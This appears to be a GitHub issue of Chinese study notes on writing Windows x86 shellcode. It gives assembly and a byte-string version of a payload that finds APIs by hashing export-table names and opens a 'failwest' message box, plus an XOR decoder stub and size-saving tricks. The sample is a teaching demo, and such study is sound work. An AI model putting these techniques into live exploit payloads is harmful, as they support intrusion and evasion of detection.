Open boy-hack opened 3 years ago
导入表搜索API
int main()
{
_asm{
CLD ;clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ;esi = addr of first function hash
lea edi,[esi-0xc] ;edi = addr to start writing function
;make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
;push a pointer to "user32" onto stack
mov bx, 0x3233 ;rest of ebx is null
push ebx
push 0x72657375
push esp
xor edx,edx
;find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ;ebx = address of PEB
mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ;ecx = first entry in initialization
;order list
mov ecx, [ecx] ;ecx = second entry in list
;(kernel32.dll)
mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
find_lib_functions:
lodsd ;load next hash into al and increment esi
cmp eax, 0x1e380a6a ;hash of MessageBoxA - trigger
;LoadLibrary("user32")
jne find_functions
xchg eax, ebp ;save current hash
call [edi - 0x8] ;LoadLibraryA
xchg eax, ebp ;restore current hash, and update ebp
;with base address of user32.dll
find_functions:
pushad ;preserve registers
mov eax, [ebp + 0x3c] ;eax = start of PE header
mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
add ecx, ebp ;ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
add ebx, ebp ;ebx = absolute addr of names table
xor edi, edi ;edi will count through the functions
next_function_loop:
inc edi ;increment function counter
mov esi, [ebx + edi * 4] ;esi = relative offset of current
;function name
add esi, ebp ;esi = absolute addr of current
;function name
cdq ;dl will hold hash (we know eax is
;small)
hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop
compare_hash:
cmp edx, [esp + 0x1c] ;compare to the requested hash (saved on
;stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals
;table
add ebx, ebp ;ebx = absolute addr of ordinals
;table
mov di, [ebx + 2 * edi] ;di = ordinal number of matched
;function
mov ebx, [ecx + 0x1c] ;ebx = relative offset of address
;table
add ebx, ebp ;ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the
;relative offset of matched function
xchg eax, ebp ;move func addr into eax
pop edi ;edi is last onto stack in pushad
stosd ;write function addr to [edi] and
;increment edi
push edi
popad ;restore registers
;loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions
function_call:
xor ebx,ebx
push ebx ;cut string
push 0x74736577
push 0x6C696166 ;push failwest
mov eax,esp ;load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ;call MessageboxA
push ebx
call [edi - 0x08] ;call ExitProcess
nop
nop
nop
nop
}
}
之所以在汇编代码的前后都加上一段 nop(0x90),是为了在反汇编工具或调试 时非常方便地区分出 shellcode 的代码。
"\x90"// NOP "\xFC"// CLD "\x68\x6A\x0A\x38\x1E"// PUSH 1E380A6A "\x68\x63\x89\xD1\x4F"// PUSH 4FD18963 "\x68\x32\x74\x91\x0C"// PUSH 0C917432 "\x8B\xF4"// MOV ESI,ESP "\x8D\x7E\xF4"// LEA EDI,DWORD PTR DS:[ESI-C] "\x33\xDB"// XOR EBX,EBX "\xB7\x04"// MOV BH,4 "\x2B\xE3"// SUB ESP,EBX "\x66\xBB\x33\x32"// MOV BX,3233 "\x53"// PUSH EBX "\x68\x75\x73\x65\x72"// PUSH 72657375 "\x54"// PUSH ESP "\x33\xD2"// XOR EDX,EDX "\x64\x8B\x5A\x30"// MOV EBX,DWORD PTR FS:[EDX+30] "\x8B\x4B\x0C"// MOV ECX,DWORD PTR DS:[EBX+C] "\x8B\x49\x1C"// MOV ECX,DWORD PTR DS:[ECX+1C] "\x8B\x09"// MOV ECX,DWORD PTR DS:[ECX] "\x8B\x69\x08"// MOV EBP,DWORD PTR DS:[ECX+8] "\xAD"// LODS DWORD PTR DS:[ESI] "\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A "\x75\x05"// JNZ SHORT popup_co.00401070 "\x95"// XCHG EAX,EBP "\xFF\x57\xF8"// CALL DWORD PTR DS:[EDI-8] "\x95"// XCHG EAX,EBP "\x60"// PUSHAD "\x8B\x45\x3C"// MOV EAX,DWORD PTR SS:[EBP+3C] "\x8B\x4C\x05\x78"// MOV ECX,DWORD PTR SS:[EBP+EAX+78] "\x03\xCD"// ADD ECX,EBP "\x8B\x59\x20"// MOV EBX,DWORD PTR DS:[ECX+20] "\x03\xDD"// ADD EBX,EBP "\x33\xFF"// XOR EDI,EDI "\x47"// INC EDI "\x8B\x34\xBB"// MOV ESI,DWORD PTR DS:[EBX+EDI*4] "\x03\xF5"// ADD ESI,EBP "\x99"// CDQ "\x0F\xBE\x06"// MOVSX EAX,BYTE PTR DS:[ESI] "\x3A\xC4"// CMP AL,AH "\x74\x08"// JE SHORT popup_co.00401097 "\xC1\xCA\x07"// ROR EDX,7 "\x03\xD0"// ADD EDX,EAX "\x46"// INC ESI "\xEB\xF1"// JMP SHORT popup_co.00401088 "\x3B\x54\x24\x1C"// CMP EDX,DWORD PTR SS:[ESP+1C] "\x75\xE4"// JNZ SHORT popup_co.00401081 "\x8B\x59\x24"// MOV EBX,DWORD PTR DS:[ECX+24] "\x03\xDD"// ADD EBX,EBP "\x66\x8B\x3C\x7B"// MOV DI,WORD PTR DS:[EBX+EDI*2] "\x8B\x59\x1C"// MOV EBX,DWORD PTR DS:[ECX+1C] "\x03\xDD"// ADD EBX,EBP "\x03\x2C\xBB"// ADD EBP,DWORD PTR DS:[EBX+EDI*4] "\x95"// XCHG EAX,EBP "\x5F"// POP EDI "\xAB"// STOS DWORD PTR ES:[EDI] "\x57"// PUSH EDI "\x61"// POPAD "\x3D\x6A\x0A\x38\x1E"// CMP EAX,1E380A6A "\x75\xA9"// JNZ SHORT popup_co.00401063 "\x33\xDB"// XOR EBX,EBX "\x53"// PUSH EBX "\x68\x77\x65\x73\x74"// PUSH 74736577 "\x68\x66\x61\x69\x6C"// PUSH 6C696166 "\x8B\xC4"// MOV EAX,ESP "\x53"// PUSH EBX "\x50"// PUSH EAX "\x50"// PUSH EAX "\x53"// PUSH EBX "\xFF\x57\xFC"// CALL DWORD PTR DS:[EDI-4] "\x53"// PUSH EBX "\xFF\x57\xF8";// CALL DWORD PTR DS:[EDI-8]
void main()
{
__asm
{
add eax, 0x14 //越过 decoder,记录 shellcode 的起始地址
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl, 0x44 //这里用 0x44 作为 key,如编码的 key 改变,这里也要相应
//改变
mov [eax+ecx],bl
inc ecx
cmp bl,0x90 //在 shellcode 末尾放上一个字节的 0x90 作为结束符
jne decode_loop
}
}
整个装载器
xchg eax,reg 交换 eax 和其他寄存器中的值
lodsd 把 esi 指向的一个 dword 装入 eax,并且增加 esi
lodsb 把 esi 指向的一个 byte 装入 al,并且增加 esi
stosd
stosb
pushad/popad 从栈中存储/恢复所有寄存器的值
cdq 用 edx 把 eax 扩展成四字。这条指令在 eax<0x80000000 时可用作 mov edx ,
NULL
有时候我们可以把两件事情用一条指令完成,例如,用 xchg、lods 或者 stos。
有些 API 中许多参数都是 NULL,通常的做法是多次向栈中压入 NULL。如果我们换一个 思路,把栈中的一大片区域一次性全部置为 NULL,在调用 API 的时候就可以只压入那些非 NULL 的参数,从而节省出许多压栈指令。 我们经常会遇到 API 中需要一个很大的结构体做参数的情况。通过实验可以发现,大 多数情况下,健壮的 API 都可以允许两个结构体相互重叠,尤其是当一个参数是输入结构 体[in],另一个用作接收的结构体[out]时,如果让参数指向同一个[in]结构体,函数往往也 能正确执行。这种情况下,仅仅用一个字节的短指令“push esp”就可以代替一大段初始化 [out]结构体的代码
普通程序员不会直接与系统栈打交道,通常与栈沟通的总是编译器。在编译器看来,栈仅 仅是用来保护函数调用断点、暂存函数输入参数和返回值等的场所。但是,作为一个 shellcode 的开发人员,必须富有更多的想象力。栈顶之上的数据在逻辑上视为废弃数据,但其物理内容 往往并未遭到破坏。如果栈顶之上有需要的数据,不妨调整 esp 的值将栈顶抬高,把它们保护 起来以便后面使用,这样能节省出很多用作数据初始化的指令。这与我们前边讲的抬高栈帧保 护 shellcode 有相似之处
按照默认的函数调用约定,在调用 API 时有些寄存器(如 EBP、ESI、EDI 等)总是被保 存在栈中。把函数调用信息存在寄存器中而不是存在栈中会给 shellcode 带来很多好处。比如大 多数函数的运行过程中都不会使用 EBP 寄存器,故我们可以打破常规,直接使用 EBP 来保存 数据,而不是把数据存在栈中。 一些 x86 的寄存器有着自己特殊的用途。有的指令要求只能使用特定的寄存器;有的指令 使用特定寄存器时的机器码要比使用其他寄存器短。此外,如果寄存器中含有调用函数时需要 的数值,尽管不是立刻要调用这些函数,可能还是要考虑提前把寄存器压入栈内以备后用,以 免到时候还得另用指令重新获取。
metasploit shellcode 编码器
(ULONG_PTR)_ReturnAddress();
当前指令地址_chkstk
的外部函数,会造成Shellcode崩溃。HeapAlloc
、HeapFree
补充 #10 中关于shellcode编码器的部分